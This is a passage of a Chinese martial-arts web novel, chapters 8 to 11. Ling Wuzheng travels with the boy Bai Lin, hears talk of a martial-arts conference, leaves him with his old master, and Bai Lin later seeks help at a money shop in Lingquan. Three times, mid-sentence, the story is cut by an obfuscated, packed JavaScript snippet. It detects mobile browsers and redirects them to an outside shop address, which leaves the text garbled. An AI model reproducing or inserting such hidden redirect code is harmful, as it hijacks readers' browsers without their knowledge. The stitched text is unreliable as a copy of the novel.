竺阳城的元宵灯市从西街一直开到东街,各种小摊小贩和街上的游人将宽阔的大路挤得水泄不通。天黑之后,各处的花灯一一点燃,城中更是热闹得不得了。就连凌无争这种孤僻喜静的人,也不免被明亮的灯火感染,沉浸其中。 柏麟也在灯市看花了眼,但他对一条条挂着的灯谜没什么兴趣,倒是驻足在捏糖人的摊子前走不动步。 凌无争一看他那副馋鬼样子就觉得好笑,却还要压着嘴角,摆出漠不关心的表情,递给柏麟一吊铜板让他买自己想要的东西。 柏麟原本还因为凌无争过年时的沉闷,对他有点小小的怨气,这下则直接一笔抹消了过往的仇怨,欢天喜地地把凌无争当成天字第一号的大善人。 大善人受累陪他从西街吃到东街。吃到最后一家馄饨摊的时候,柏麟玩得累了,也吃得累了,馄饨吃到一半,手中还握着勺子,人先已经趴在桌子上睡着了。不管凌无争怎么叫他,他也耍赖不肯起,只嚷着自己困了要睡觉。 结果凌无争这个大善人当了不到半个晚上,就成了冤大头。他得背着睡熟了的小孩,穿过大半条街去找客栈投宿。 凌无争心想,自己以后再也不跟着这小孩儿折腾了。 可之后的每一年,他们都依旧会来。 直到有一天,他们俩终于离开了梨园。 8. 第八章 自从柏莹过世后,凌无争领着柏麟这个小麻烦,年复一年的在梨园里住了六年。 这六年里,他既没有遇到追杀柏麟的人,也没有等到岑术南。 隔三岔五的,凌无争就想把柏麟干脆丢给霍伯算了,他自己一个人出去寻找岑术南的下落,以便尽早将这个小麻烦还给他亲爹。可他想归想,因着他当初与柏莹的约定在,终究是没有这样做。 直到柏麟来到梨园的第六年春天,霍伯过世了—— 霍伯是在女儿家过世的,据他的女儿女婿所说,老人家在睡梦中辞世,走得很安详。 他的女儿和女婿带着他的棺椁从平州回来,同霍伯的妻子合葬在了梨园里。夫妇两个说,他们之后打算将家也迁来,替霍伯继续打理他挂心了一辈子的梨园。 凌无争就是在这时开始琢磨,他要不要继续领着柏麟住在梨园里。 柏麟已到束发之年,曾经和他一起在学堂里念书的小伙伴们,要么是早早回家,帮着家里的大人做事去了,要么是去了竺阳城里的私塾,沉下心来想要考取个功名。霍家村小小的学堂里,如今只有他这么一个大孩子,混在一群小孩子中间背那些千篇一律的之乎者也。 凌无争原本想着,要是柏麟也想读书入仕,带他搬去竺阳城里住也不是不行。可那小子听他完他的提议,认真地想了想,说自己没有追求功名利禄的心思,还是在梨园里待着比较快乐。凌无争就没再提搬家的事,由着他去了。 然而自霍伯过世之后,虽然柏麟还能在梨园里一如既往的生活下去,凌无争却多少有些不自在。他对霍伯的女儿一家并不是很熟悉,同霍伯还在时相比,相处起来总是有些陌生的尴尬。 以及,凌无争还有一个没敢说给柏麟听的猜测——六年过去了,岑术南也没有来寻找过他的儿子,恐怕他在外面已经是凶多吉少。如果岑术南真的已经不幸罹难了,那他们两个更没必要继续在梨园里苦等下去。 霍伯下葬的那一天,柏麟虽然也跟着掉了几串眼泪,但在葬礼结束之后,还是很快收拾好了自己的情绪。凌无争回想起六年前,他在他娘的坟茔前快要哭断气的样子,突然就感觉柏麟长大了不少。虽然他时不时就撒娇耍赖的毛病改不掉,但确实是有好好长成一个识大体的少年人。 考量再三,凌无争还是决定带着柏麟离开梨园。 凌无争添置了一辆马车,装了几身他和柏麟的衣服,又准备了一些干粮和水。在和长眠于此的人和以后留在这里生活的一家人告别后,就此离开了竺阳。 -- 柏麟好几年没出过远门,坐在马车上到处都觉得新奇。 他先是将马车里里外外都看了个遍,然后才从车帘内探出头来,坐到驾车的凌无争身旁,好奇地问:“无争,我们接下来要去哪儿啊?” 凌无争先是侧头看着他,提醒了一句:“坐稳点,小心摔下去。”然后才回过头看着前方的道路,答:“去荷关。” “荷关?那是哪儿?”柏麟纳闷地问,“我们为什么要去那里?” 凌无争解释说:“我师兄住在荷关。他认识的江湖朋友比较多,没准能帮忙打听你爹的下落。” 一提到爹,柏麟的心情就低落了几分,他问凌无争:“无争,我爹和我娘当年到底出了什么事?为什么会有坏人要来杀我和我娘?为什么我爹这么多年都没来找过我?” 这个问题,柏麟已经对着凌无争问过无数遍,但凌无争能给他的答案依旧是:“我也不知道,你娘当年并没有告诉我。” “那我们这次出来,是不是也可以去查一查当年的事?”柏麟接着问。 凌无争听了这话,只是不言。柏麟便也跟着沉默下来,偏头去看路旁的竹林。 过了一会儿,柏麟不知道又想到了什么,忽然转回头来,换了个新的话题问:“无争,既然你有师兄,那你们也就有门派吧?你是哪个门派的?从前和我爹娘又是怎么认识的?” 凌无争听了这一串问题,倒是肯回答了:“我们习武的地方算不得正经门派,只是师父对武学有些心得,闲来愿意教一教附近的孩子。” “那你教给我的刀法,就是跟这位师父学的么?” “嗯。” “那这套刀法和剑宗的剑术相比,哪个更厉害?” 柏麟有一年跟着霍伯进城卖梨的时候,听茶馆里的说书人讲了好多打打杀杀的故事。故事里无论是领兵打仗的大将军,还是赫赫有名的兵器和武学,都要较量出个高低,排出个先后。为此,柏麟还和学堂里的小伙伴们陈列出好几个将军谱、神兵榜之类的东西,天天为了谁先谁后的事儿吵得不可开交。 每每争执到最激烈的时候,柏麟都觉得自己的判断才最权威。毕竟他是亲眼见过天地剑宗的剑术,和凌无争练习的刀法的。然而这两种功法看起来又截然不同,真让他来评判,他一个小毛孩子也说不出哪个更高明。 凌无争顺着他的问题认真地思索了一下,诚恳地回答:“剑宗吧。” 柏麟十分惊诧:“啊?一般不都是说自己比较厉害吗?你怎么这么干脆地就认为剑宗比你的刀更强了?” 无争淡定地说:“剑宗能成为天下第一的门派,又不是吹牛吹来的。承认他们的剑术比我学的刀法强,又不是什么丢人的事。” 柏麟好奇地追问:“那剑宗是第一大派,第二大派又是哪个?” “论声望,济春派算一个。”凌无争说,“但要是论实力的话,早些年还没有哪家能和剑宗一教高下,一堆矬子里也难以拔出个将军。至于这几年,江湖上是什么样,我就不怎么清楚了。” 柏麟恍然大悟般点了点头:“原来剑宗这么厉害。那我们之后要去剑宗吗?我爹娘都是剑宗的弟子,我爹失踪不见的事是不是也可以找他们帮忙?” 凌无争想起柏莹曾经说过的话,拒绝道:“不。我们不去剑宗。” “为什么?”柏麟问。 凌无争却不答。 柏麟这几年已经基本摸透了他的脾气。知道只要是凌无争缄口不言的事,他就无论如何也不会说。柏麟也就不再追问。只是在心里默默地猜测因由。 马车一直沿着宽敞的官道疾驰,日近正午时,凌无争才停下来给马匹喂了些食水。 柏麟悠闲地走下马车,站在车边抻了抻他坐乏了的筋骨。他四处张望着,打算寻一块平整阴凉的地方,去享用一顿安逸的午餐。 然而这四周尽是荒山野草,不像是有适宜休整的地方。他转回身问:“无争,我们就把马车停在这里吗?” 凌无争忙着喂马,没去看他,反问:“有什么不妥吗?” 柏麟伸手一指:“我看前边那里更僻静些,适合过去吃饭。” 凌无争听了他的话却说:“我们还要继续赶路。你要是肚子饿了,就在车上吃些带出来的东西。” “我们不歇一会儿吗?” “不行。”凌无争重新攀上马车,解释说:“天黑前不赶到驿站,咱们今夜就要在荒山野岭里露宿了。” 柏麟跟着爬上马车,天真地问:“露宿不好吗?” 凌无争一抖手中缰绳:“这山里有的是豺狼虎豹,就等着入了夜吃些过路人。虽然燃着火堆能吓退它们,但这赶车上路的活儿是我干,守着火堆不熄的活儿也是我干。与其这样,还不如趁白天多赶几里路,夜里找家驿站休息。” “我……”柏麟本想说,他可以替无争分担一些事。可他细一思量,他又没有驾马车的本事,又不知道该如何抵挡守夜时的困意。还真就只能按无争说得去做。 柏麟在重新颠簸起的车轮声中,有些许觉得自己帮不上忙的沮丧。他只好钻进车厢里找了水囊和干粮出来递给凌无争,好歹不能让车夫饿了肚子。 天色将黑的时候,林中大路还看起来千篇一律得没有尽头。柏麟望着越来越晦暗的前路,忍不住担忧起来,问凌无争:“无争,我们离驿站还有多远?要是天黑之前还没赶到,咱们是不是真的要睡在野外了?那我们要不要先安顿下来,准备生火?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柏麟手指隔着布料摩挲着剑鞘,忽然问:“无争,剑宗佩剑的弟子那么多,我就算背着它上路也没什么吧?谁又能凭这一把剑猜出来我是谁?” 凌无争手中举着茶盏,再放下时,目光也跟着落在了那柄剑上。他说:“单从剑鞘上看是看不出什么,但多一事不如少一事。剑宗内门弟子的佩剑都各有剑铭,万一有谁好事拔出来看,凭那上面刻的字就知道这剑是属于你娘的了。” 柏麟端详着自己手里的剑:“我知道我娘的这把剑,刻得是‘怿’字。但我不记得我爹的剑是什么字了。无争,你知道吗?” 凌无争顺着他的话认真回想了一番,然后才说:“不记得了。我似乎是见过一次,但那字有些生僻,我当时并没有用心去记,也就想不起来了。” “生僻?”柏麟纳闷地追问,“剑宗为什么要用生僻的字做铭?” 凌无争虽不是剑宗门人,但还是能答上来这一问题的。他解释说:“虽然剑宗外门弟子用的剑没分别,但内门讲究‘一剑一铭’。除了象征掌门权柄的‘天地’是代代相传的,其余弟子都有各自独一无二的剑铭。前人用过的剑不会留给下一人,为此还立有专门的剑冢。这几十年累积下来,响亮好记的字词都被先辈用了,传到后来的小辈这里,自然只剩下生僻字能用。” 柏麟也给自己斟了一杯茶,他举着茶杯随口一句:“真是繁文缛节。” 凌无争难得露出一点稀奇的目光看着他。按理说,柏麟父母都是剑宗弟子,他应该也算是剑宗传人。但这小子对剑宗好像并没有太多的敬畏之心,该不会是这几年近墨者黑,被他教坏了吧? 凌无争指尖轻推杯盖,指使他道:“去催催小二,看看饭菜怎么还没到。” “哦,好。”柏麟把缠起来的剑往床上一抛,对凌无争指使他跑腿的吩咐习以为常,脚步轻快地出了门。 9. 第九章 “荷关在我们的东边……东……东……”柏麟看着手里的舆图,又抬头看了看前路,然后斩钉截铁地指向面前,“东在这边!” 凌无争面上的表情虽然没变,眼睛里的笑意却是没藏住。他慢条斯理地抬起马鞭,一指路的右前方,解释:“这边才是正东。修路的人为了绕开山川河流,修出来的路并不全是指向正确的东西南北的。” “认路真难。”柏麟认输般地叹了口气,放下了手中的舆图,“无争,你是怎么记住从竺阳去荷关该走哪条路的?” “从前总是走这条路,走得次数多了,慢慢也就记住了。” 柏麟将手里的舆图折起来收好。凌无争本身用不上舆图来指路,这副舆图还是柏麟想要向无争学一学认路的本事,凌无争才在路过城镇的时候为他买的。 柏麟虽然没怎么坐过马车,但在跟凌无争赶了几天路之后,他还是觉得凌无争是个顶好的车夫。 凌无争认路不用舆图,总能在天黑前找到合适的驿站供他们休息。只有当驿站之间相隔得太远,实在来不及赶到时,他们才不得不在路旁露宿。即便如此,凌无争也总是一副游刃有余的样子。 就拿前一晚为例,柏麟虽然夸下海口,要凌无争去休息,他来守着篝火不熄。然而也不知道在夜里的什么时刻,柏麟到底是没能抵挡住越来越沉的困意,在瞌睡间彻底熟睡了过去。等他在天亮之后醒过来,看见的还是凌无争在一旁拨弄着火堆。 柏麟不知道无争前一晚休息了多久,白天虽然也想替他赶一阵马车,但凌无争总是放心不下。即便把马鞭交给他来操控了,人还是坐在一旁清醒地替他指路。 幸好前方不远就有一个规模颇大的城镇,不至于让他们接连两晚都在外露宿。 住进客栈之后,凌无争一直睡了一整天,才算是缓解了连日赶路的疲乏。他们本就不急着赶路,干脆在此多逗留了几天,以作休整。 柏麟好奇此处风物,拉着凌无争一起在城中闲逛。凌无争则难得闲下来,可以在用餐时饮上一壶好酒。 越是城中有名的酒家,食客老饕聚集得越多。坐在他们邻桌的几人聊到兴头,说话的声音也越来越大—— “这世上哪还有什么魔教了?要我说,济春派此次号召武林大会,不是要讨伐魔教,那是要讨伐天地剑宗了!”一个大汉或许是酒过了三巡,喝上了头,红着脖子说道。 与他同桌的人忙拉着他让他小声点,然后有人解释说:“扈兄言重了。济春派从没说过要讨伐谁。他们只是请天下豪雄到菱泉,共同商讨和魔教有关的事情。” 被称作扈兄的人还是一副不服气的样子,争辩:“他们说得当然好听。但自从大魔头卫宁死在剑宗之后,这江湖上谁还听说过有魔教出来作祟?济春派若是真要同别人一起商讨魔教之事,给剑宗送封信过去也就是了,还犯得上这般大张旗鼓?他们既然敢越过剑宗号召武林大会,那必然是对剑宗有了些别的心思。” 有人附和说:“扈兄说得确有几分道理。那卫宁都死了四五十年了,在座各位只是听说过从前有魔教作乱的事,但谁也没亲眼见过。济春派突然要以魔教为由召开武林大会,确实是有些蹊跷。” 又有人说:“可要是真有魔教死灰复燃,他们最先去寻仇的地方不也是剑宗吗?毕竟卫宁是被当时的剑宗掌门一剑穿心而亡。卫宁死后,魔教衰亡,剑宗也因此奠定了未来几十年的风光。若论仇怨,剑宗才是最应该出来号召群雄除魔卫道的。” 扈兄义愤填膺地拍着桌子:“所以我才说这事没那么简单!” “哎,诸位兄弟莫要如此心急。”另一人在众人的争执中以一副游刃有余的派头说道:“我前些日子听从棘肓山来的朋友说,济春派这次急着召开武林大会,不是因为别的,是因为他们从棘肓山里找到了一些了不得的东西。依我那朋友所言,这东西恐怕就和卫宁有关。因为实在事关重大,济春派上下都因此戒了严,所以来不及和剑宗先商量一番,也是情有可原的。” 听他这么一解释,那大汉也不再反驳了,只是还固执地板着一副不悦的表情。 似是为了转换这酒桌上的氛围,另有人说:“我也听人讲过一个小道消息,说剑宗如今的庄掌门听说此事,已经决定亲临菱泉参加武林大会了。这次的武林大会定然十分热闹。几位贤兄夏至时可要去菱泉一聚?” “那是必然。” “再好不过。” 邻桌几人哈哈笑着,又同饮一杯。 凌无争虽没有看过他们一眼,但他蹙眉思索的样子显然是将那几人的话听了个清楚。 柏麟凑到他跟前,悄声问:“无争,武林大会是什么?我们要去吗?” 凌无争没有回答他。他只是饮尽了壶中酒,掏出一小块碎银,打发柏麟说:“去结账。” 两人从食肆出来走向客栈,柏麟实在按捺不住好奇心,又问:“无争,魔教是什么?卫宁又是谁啊?” 凌无争沉吟了片刻,倒是肯回答这个问题了:“大概是五十年前,江湖上曾经有过一群人称魔教的人。据说他们那时做了不少恶事,而率领他们的人就是卫宁。” “这个卫宁是何门何派的?他很厉害吗?” “我没听人说起过他是哪个门派的,只听说过他最擅长的招式叫做断山掌。似乎在他死后,这套掌法也跟着一起失传了。传言说卫宁凭借这套断山掌,纵横江湖无敌手。武林正道曾经围剿过他三次,前两次都被他逃脱了,并且被他杀了不少门派的高手。直到第三次,当时的剑宗掌门聚集群雄,和卫宁约在荆平一战,由他亲手杀了卫宁,这才有了剑宗后来的威名。” “原来剑宗这样厉害。我爹娘从前都没和我说过这件事。” “大概是因为另有一种传言,说卫宁当时是以一敌百,只是剑宗掌门恰好给了他致命一击,赢得并不光彩。不过不管卫宁因何而死,召集除魔的人终归是剑宗当时的掌门,他肯在那时挺身而出也算是了不起了。” “那卫宁是做了什么样的恶事?才会被称为魔教?” “不知道。这些事都太久远了,我也不曾亲眼见过。不过古往今来,能被称作魔教的帮派寥寥无几,既然卫宁有此恶名,大概是犯下不少罄竹难书的杀孽。” 柏麟思索了片刻,不知道想出来了什么,问道:“无争,魔教真的要死灰复燃了吗?这世上还会出现一个和卫宁一样的大魔头吗?” 凌无争原本还算和善的态度突然一变,他告诫柏麟:“就算是有,也与你这小孩儿无关。出门在外,不许向别人打听这些江湖事,知道了吗?” 柏麟不知道他为什么不肯对他讲当下的事情,只好闷闷地应一声:“哦,知道了。” 凌无争望着前路,也不知道在想些什么。他突然对柏麟说:“回到客栈之后收拾一下,我们明天接着启程上路。” 重新驾着马车驶在官道上,没了高声谈论江湖事的路人,那些关于武林大会和正道魔道的事,都像是被抛在了身后,与他们再无一点干系了。 柏麟盯着手里的舆图,悄悄寻找着菱泉的位置。他昨日听那些江湖人提起过,武林大会似乎就是要在菱泉召开。他看了看舆图,又看了看前路,突然惊讶地说:“无争,我们不是要去荷关吗?荷关在东,可我们出了城之后怎么一直在往北走?”往北可就要去向菱泉了! 凌无争没理会柏麟的惊异,只说:“我改了主意,去荷关之前要先领你到另一个地方。” 柏麟盯着舆图,凭目光丈量着这几城之间的距离,以此来估量在路上要花上多久的时间。 就在他沉浸在舆图中时,凌无争却突然从怀里掏出来一个小锦囊,递到了他的面前。 凌无争道:“把这个收好。” “这是什么?”柏麟一边问,一边好奇地解开了锦囊上的线结,并从中倒出来了一枚小印。他端详着印章上紧凑的小字,勉力辨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌无争没有听见他的腹诽。他在篱笆外停下马车,带着柏麟一起走进了院子里。 亭中的孩子们都放下了手中正在做的事,好奇地打量着前来的陌生人。那位年迈的老和尚倒是笑容和蔼地迎上了前。 “灵……” 老和尚似是与无争相熟,正要开口打招呼,却被无争突然开口打断。 凌无争抱拳对他施以一礼,道:“师父,徒儿凌无争,见过师父。” 一旁的柏麟惊讶地瞪大了眼睛,没想到这位就是无争的师父。他再好奇地看了看四周,所以此处就是无争的师门了?怪不得他说自己没有门派,只有师父。 无争的师父抬手托了托无争的拳,让他不必如此繁文缛节。然后他带着高深莫测的笑意,看向柏麟问:“这孩子是?” 凌无争站直后,一只手往柏麟背后轻轻一拍,介绍说:“这是我一位故人之子,名叫柏麟。”然后他手上轻轻施力,将柏麟向师父身边一推,对师父说:“我有些事情要做,不便带着他一起。只好将他先托付给师父,帮我照看一阵。” 柏麟没有料到无争会如此说,他在没有回过神的震惊与错愕中回过头,看见凌无争已经冷酷绝情地转身要走了。 “无争!”柏麟仓促间追上去,抓住了凌无争的手臂。他一时间有无数个念头掠过脑海,喉咙紧得像是在阻止惊慌的心脏从口中跳出来,堵得他什么话语都说不出来。 还没等他捋清头绪,去问为什么,凌无争已经拂开了他的手。 无争对他连句叮嘱都没有,只是命令:“去师父那里。” 柏麟还想要追上他,但他的双腿却和舌头一样僵在原地,眼看着凌无争将他抛在身后,离开了这里。 柏麟想不明白。他以为相处了这么多年下来,凌无争在他心里已经成为了一个对他而言很重要的人,他对无争来说应该也很重要。却没想到,自己还是被他如此轻易的抛下了。 10. 第十章 “无争师兄?” “没听说过。” 柏麟和凌无争的师弟们一同坐在亭子里吃晚饭。虽然他还心情郁郁,但架不住凌无争几个年纪尚小师弟对他和无争很是好奇。其中一对和他年纪相仿的孪生兄弟,是这些师弟中年纪最大的,就属他们俩问的问题最多,也对柏麟说得最多。 柏麟从他们两个的话语中,听说了一些关于无争的师父的事。 无争的师父法号空觉,在此地已经住了几十年。因为年头过去太久,谁也不知道他老人家此前在哪修行,也不知道他的俗名。 因为此处一间屋子里供奉了一尊佛像,所以有人猜测,或许此处原本就是一座小庙,只不过多年过去,只剩空觉师父一个人还留在这里坚守。 柏麟反问孪生子:“那你们是何时来到这儿的?” 孪生子里的哥哥叫小虎,他回答说:“我们是从小就被师父捡来的。” 弟弟小豹接着抢话道:“从有记忆以来,就跟着师父了。” 然后他们俩依次给柏麟介绍了其他几个师弟是怎么来到师父身边的。他们这几个孩子,除了附近村庄送来的孤儿,便是从其他地方孤身讨饭到此地的流浪儿。 这几年天下太平,无人照料的孩童也少了些,所以师父身边的孩子们来来去去,现在只剩下他们几个。 柏麟忍不住想,难道无争从前的身世也是这样的吗?难道他也是从小就没了父母亲人,所以才做了空觉师父的弟子? 柏麟再次问道:“你们此前真的从未见过无争?也没听说过无争的名字?” 孪生子彼此对视一眼,摇了摇头。 小豹解释说:“虽然师父有好多弟子,不过大家一到了可以自己出去谋出路的年纪,就都离开了这里。从前生活在这里的师兄们很少有回来的,所以有我们不认识的师兄也不稀奇。” “经常回来看望师父的,就只有大师兄。”小虎补充道,“其实我和小豹也想着,等大师兄下次过来,就和他一起离开,去荷关碰碰运气。” 柏麟一听荷关二字就想起来,他和凌无争本来就是要计划去荷关找他的师兄的。他不知道无争口中的师兄和孪生子说得是不是同一个人,便问:“这个大师兄是谁?他是住在荷关么?” 一说起大师兄的事,孪生子就挺胸抬头,一副非常为之骄傲的样子:“我们的大师兄姓彭,名威。他在荷关经营着一家很厉害的镖局。有的师兄们从师父这里出去之后无处落脚,就都先去了大师兄那里帮忙。” 一旁还扎着发髻的小师弟也突然跟着插话:“大师兄最好了!每次来都给我们买烧鸡!还给我们发零花钱!” 柏麟十分惊讶:“你们跟着师父修行,不用守清规戒律吗?” “师父虽然茹素,但没有要求我们也不能吃荤食。”小虎说。 “虽然平时要帮着师父打扫佛堂,但是师父也不会逼着我们和他一起念经。”小豹说。 “我们也不用剃掉头发。”小师弟揪着自己的两个发髻补充道。 柏麟看向佛堂的方向,空觉师父吃过晚饭之后就独自去了佛堂里打坐,确实没有喊着他这几个小弟子一起。 柏麟一下子回想起还在梨园的时候,凌无争也是从不要求他一定要读书读出什么名堂,或者跟着他练拳练出什么本事。无论柏麟是想偷懒还是想用功,凌无争都一副无所谓的态度。 现在看来,凌无争的这个脾气倒是和他的师父一脉相承了。 柏麟忽然就很好奇,他问:“那你们平时会和空觉师父一起练武吗?” 他不提起这个还好,一提起来,几个半大少年原本还高兴着的神色,突然就跌成了闷闷不乐。 “师父从前还教过别的师兄们刀法,但那都是好久之前的事了。我们两个从小长到大,一次也没见过师父练刀。这里除了镰刀菜刀,连个木头削的钝刀都没有。” “师父只说习武无用,顶多在心情好的时候教我们练一练强身健体的拳法。要是和隔壁村子里的那群小子打群架,我们还是打不过人家。” 柏麟没敢说自己还从无争那里学过三两招刀法。虽然他这三两招学来也是花拳绣腿,但好歹也比孪生子见都没见过要好些。 几个小少年一顿慢吞吞的晚饭吃到尾声,小虎把空碗筷一推,招呼道:“好了好了,该去刷碗了。昨天刷碗的人是我,今天该轮到小豹了。” 小豹不情不愿地唉声叹气,磨磨蹭蹭地站起来收拾碗筷。 柏麟不好意思在一旁干站着,也跟着挽起袖子,说:“我来帮你一起吧。” “好兄弟!”小豹一看有人帮忙,立刻振奋起来,在柏麟肩上拍了拍。 柏麟对他回以一个微笑,也算是和这对孪生子结下了友谊。 接下来的几天,柏麟虽然很顺利地融入了在这里的生活,但他总免不得时常要想起来自己是被凌无争抛下在这里的事实,心中也存着对凌无争的怨愤。 直到有一天,在更换衣服时,柏麟摸到了自己腰间挂着的小锦囊,突然心生一计—— 孪生子他们总是对他说他们的大师兄有多好,但他们的那位大师兄自从去年冬天来过一次之后,就再没能抽出空闲前来此处。虽然这期间他还派人给师父送过信件和银钱,但孪生子他们就没有零花钱可领了。 柏麟干脆提议,他身上还有些凌无争之前给的余钱,不如由他带着师兄弟们去附近的菱泉城里四处逛逛,排解一下终日隐居的无趣。 孪生子立刻就被柏麟挑起了兴趣,跑去求师父首肯。空觉师父本就不是一个严苛的人,言说既然孪生子和柏麟都是十六七岁的少年人了,凡事便都该由他们自己做决定。只是其他师弟们年纪尚小,还不能同他们一起出游。 孪生子既然有机会出门了,哪里还顾得上年少的师弟们,敷衍了几个望眼欲穿的小孩儿们一番之后,便拉着柏麟一同出行了。 柏麟藏着心里的小心思没敢透露给任何人。他猜测凌无争之所以把他丢在这里,就是想要自己一个人去看看那什么武林大会。所以无争这几日肯定就在菱泉城。 柏麟担心自己若是去的太早,定会被无争早早发现,然后再次丢回到空觉师父这里。所以他故意选在了夏至的前一天,才和孪生子来到了菱泉城。 即便柏麟早就知道武林大会的事,等他真在此时来到菱泉城门口,还是被城中人山人海的架势给震慑到了。在他身旁的孪生子更是不用说,一起惊掉了下巴,止不住感慨。 “我的娘诶!这里怎么有这么多人?这是要有集市了吗?”小豹问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345095|152659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “屁的集市能有这么多人?城里挤得都快要下不去脚了!”小虎反驳他弟弟,“我看这阵仗,多半又是要给王母娘娘做寿了。从前只有大师兄领咱们去看法会的时候,我才见过这么多人聚在一起!” “哎呀哎呀都不是。”柏麟被人潮挤得东倒西歪,要废一番力气才能继续留在孪生子身边。他挤在孪生子身边,继续解释道:“我听人说,菱泉城这是要召开武林大会。” 孪生子这才留意到,城中人潮汹涌,穿着打扮都不太像农家子,好多人手中也是拿着各式兵器的,只是因为城中人多,才大多抱在怀中,免得伤了人。而柏麟怀中也抱着一截用布缠着的东西,起初柏麟只说这是他娘遗物,现在看来,大概裹着的也是刀剑之类。 “武林大会?”孪生子先是纳闷地咀嚼了一番这词的含义,而后狡黠地相视一笑,非常有默契地达成了共识。 “那咱们这几天就留在这不走了,好好看看武林大会是个什么样子。回去也好讲给师父和师弟们听。” 这话正中柏麟下怀,他也巴不得在此多住几日,看看这武林大会到底有什么稀奇。 三个少年一路惊叹着,随着人流进了城。 城中到处都是谈论着武林大会的声音,谈话者既有持着兵器的武林中人,也有寻常打扮的居民路人。三个少年随着入城的人们一起走,走不多远,就看到了城中央矗立着一座高台。 高台看起来像是新近建造的,恰与周围一圈酒肆客栈的二层齐平。不难看出,这番设计是为了让人能坐在酒肆客栈的檐下就能观看和听到高台之上发生的一切的。 三个少年一看这架势,也不再乱走乱逛了,决定不如就近找一家客栈住进去。这样等到武林大会的当日,他们可以直接上得楼上围观高台之上。 他们仨跃跃欲试地进了高台旁的几家客栈,问询还有没有客房,然而无一例外地,都被客栈里的伙计赶了出来。 “没房没房!我们这儿的房间早就让贵人们订走了。” 柏麟从小便有在陌生人面前局促地不知说什么好的毛病。即便他这几年跟在霍伯身边有所改善,但一遇到言辞不善或者凶厉的人,便又不自觉地想逃。 幸好孪生子不是这番拘谨的性格,小虎混不畏惧地问:“那你们这城中还有没有别处的客栈可以住?麻烦帮我们指个路。” “呵,别说空房了,现在这菱泉城里,连鸡窝狗洞都让人住满了!我看你们几个也没个家中大人跟着,还是哪来的回哪去,少来凑大人们的热闹!”伙计说完,就颇没耐心地把他们“请”出了门。 被人接连当作叫花子一般赶出来,重新走回到大街上,孪生子仍是一副不忿的样子。柏麟局促地抓着怀里的剑,没想到这事没有他想象中的那么简单。 孪生子互问:“怎么办?该不会今天晚上就要在大街上露宿了吧?” 小豹一抱手臂:“反正就这么回去,我肯定是不甘心。” 小虎也抱着手臂,对他弟弟说:“不甘心有什么用?又不能变出床榻。” 柏麟夹在他们两个之间,思索了片刻,说:“我或许还有办法能试试。” 孪生子忙问:“什么办法?” 柏麟攥着腰间挂着的锦囊说:“锦囊妙计。” 11. 第十一章 在进城的路上,柏麟就曾留意到,路旁有一处万通钱庄。 凌无争当初交给他锦囊和里面的小印时,就曾交代过,要他有要事的时候,就来这万通钱庄求助。 柏麟不知道这枚小印到底有何用处,但眼下既然已经没有更好的办法,也只能死马当活马医了。 菱泉城街头巷尾都是行人,就连钱庄里也变得有些繁忙。 柏麟站在高柜边等候许久,才有伙计走过来,敷衍着问他:“我看你们几天在这站半天了,有何贵干?” 柏麟小心翼翼地举起小印,给高柜后的伙计看,鼓足了勇气说:“我这有一枚印章。” 伙计似是不屑,挥手道:“去去去,本店不典当东西。” 柏麟被他不善的态度浇灭了一大半的勇气,开始疑心自己是不是记错了无争的话抑或是找错了地方。但他残存的一丁点固执念头还是支撑着他和伙计辩解说:“但是……但是这上面写着严十五。” “严十五?”伙计听到这个名字先是一愣,然后他接过柏麟手中的小印,狐疑着打量了一阵。似是为保万全,他忽然道:“你等等,我拿去给掌柜看看。” “哎……”柏麟伸手去拦,可还没来得及阻止,就看着那伙计拿着无争给他的小印进到了他看不见的后堂。 那枚小印一离开柏麟的视线,柏麟顿时就紧张得心里七上八下。他忧心伙计要是拿着他的东西掉包了,或者干脆不还给他了该怎么办?光是想想无争可能会丢给他的责怪眼神,他就不自在的脊背发麻。 孪生子见他这副紧张样子,忙扯了他的胳膊问:“柏麟,他拿着你的东西去哪了?要不要我们去帮你抢回来?” 柏麟不想让孪生子为他担心,勉强挤出笑容摆了摆手:“应该无事,我们再等等。” 等了好一会儿,那伙计终于带着一个中年人一起来了,毕恭毕敬地请他们三个一起去僻静的后院小坐。 坐在一间无人的小厅里,有仆役为他们上了茶。中年人才自我介绍道:“在下姓周,是万通钱庄在菱泉的掌柜。不知小公子是哪位贵人?” 柏麟从没见过比他年长的人这样对待自己,不由自主地僵着脊背坐得直直的,回答道:“我……我叫柏麟。” 周掌柜对他温和地笑笑,拿出那枚小印放在二人中间,问:“敢问小公子,这枚印你是从哪里得来的?” 柏麟收回那枚小印,看见了那枚小印底部沾了朱红的印泥,不知道是不是被周掌柜他们拿去印了下来,好核对上面的纹样。 或许是周掌柜一直态度温和,柏麟不自觉的紧张也消减不少。对于周掌柜的问话,他如实答:“这是凌无争给我的。” 周掌柜听了凌无争的名字,露出一点原来如此的神色。他说:“那不知小公子来到这里,是有什么吩咐需要在下去做的?” 柏麟总算有了机会表明来意,于是摆了摆手说:“不是什么吩咐。只是我和两个朋友听说菱泉城中要召开武林大会,想来这凑凑热闹。但我们来得晚,城中已经找不到住处了。不知道能不能请您帮忙,给我们找一个落脚处?” 